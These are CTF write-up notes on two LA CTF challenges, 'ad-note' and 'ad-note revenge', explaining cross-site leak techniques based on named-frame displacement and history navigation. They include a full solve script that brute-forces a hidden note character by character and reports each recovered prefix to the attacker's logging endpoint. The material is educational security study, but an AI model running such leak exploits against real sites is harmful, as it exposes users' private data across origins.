XS-Leak via Window Reference Displacement (Named Frame Race Condition)

Event Name LA CTF
GitHub URL ‣ itended
Challenge Name ad-note

for ad-note I had a solution that was too slow but still interesting. By setting the attribute name=NAME, all ad iframes get the the name NAME, and reading on the window reference .NAME would return the first ad iframe. You could also iterate over the indices like [0] to [10] to get all iframe windows, including the result iframe. You can compare two window references cross-origin with === to see at what index the first ad iframe was, most often index 0. But there's a small chance the result iframe was randomly ordered before it, so the first ad index with match index 1. This would only happen if there is a result iframe that can displace it.

So by reloading every possible character until one gets displaced, we know that character was correct, and continue from there. This requires some 🎰 luck though because window loads take some time. could be significantly faster with caching but that was disabled

for (let i = 0; i < w.length; i++) {
  if (w[i] == w.NAME) console.log(i)
}
<script>
  const ALPHABET = "345";
  //const HOST = "<https://notes-revenge-wfgqp.instancer.lac.tf>";
  const HOST = "<http://localhost:4000>";
  //w = window.open("about:blank");
  const ws = Array(ALPHABET.length).fill().map(() => window.open("about:blank"));
  let stopSearch = false;
  const attemptCounts = Array(ALPHABET.length).fill(0);

  function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

  async function test(w, search) {
    w.location = HOST + "/?" + new URLSearchParams({
      name: "x",
      referrerPolicy: "NAME",
      search
    });

    // Wait for iframes to be loaded
    while (true) {
      try {
        if (stopSearch || w.NAME) break;
      } catch (e) { }
      await sleep(1);
    }

    // Check if result took place of first NAME
    console.log(search, "Length:", w.length);
    for (let i = 0; i < w.length; i++) {
      if (w[i] == w.NAME) {
        console.log(search, "Found at index:", i);

        // Wait for same-origin
        w.location = "about:blank";
        while (true) {
          try {
            if (w.origin) break;
          } catch (e) { }
          await sleep(1);
        }

        return i;
      }
    }
  };

  async function repeatTest(w, search, resolve, index) {
    while (!stopSearch) {
      const result = await test(w, search);
      attemptCounts[index]++;
      if (result != 0) {
        // If result got in between
        stopSearch = true;
        resolve(search);
        return;
      }
    }
  }

  async function find(prefix) {
    stopSearch = false;
    const promises = [];
    for (let i = 0; i < ALPHABET.length; i++) {
      const search = prefix + ALPHABET[i];
      promises.push(new Promise(resolve => repeatTest(ws[i], search, resolve, i)));
    }
    return await Promise.race(promises);
  }

  // Log stats every 5 seconds
  setInterval(() => {
    fetch(`/log?stats=${attemptCounts}`);
  }, 5000);

  (async () => {
    let prefix = "";
    for (let i = 0; i < 8; i++) {
      const nextChar = await find(prefix);
      prefix += nextChar;
      console.log("Found character:", nextChar, "Current prefix:", prefix);
      fetch(`/log?PREFIX=${prefix}`);
    }
  })();
</script>
<!-- <http://127.0.0.1:8000/> -->

`

XS-Leak via History API (Frame Navigation)

Event Name LA CTF (inferred from .lac.tf domain)
GitHub URL https://github.com/bliutech/my-ctf-challenges/blob/main/lactf-2026/ad-note/solve.html
Challenge Name ad-note revenge (chained with job-board)

tl;dr about the challenge

This challenge involves chaining two challenges ("job-board" and "ad-note revenge") to execute a Cross-Site Leak (XS-Leak). Because the target iframes are cross-domain, direct DOM access is restricted by the Same-Origin Policy. However, an attacker can still interact with iframe.contentWindow[i].location and monitor the browser's History API.

The exploit leverages a differential behavior in browser history navigation:

  1. The Setup: The "job-board" challenge is used to spawn a same-site iframe to the "ad-note revenge" challenge, securing access to the site with the admin cookie.
  2. The Oracle: The attacker loads the target page with a guessed search query (search=${current}).
  3. The Leak: The attacker iterates through the child iframes (the ad iframe and the search result iframe) and forces them to navigate to about:srcdoc.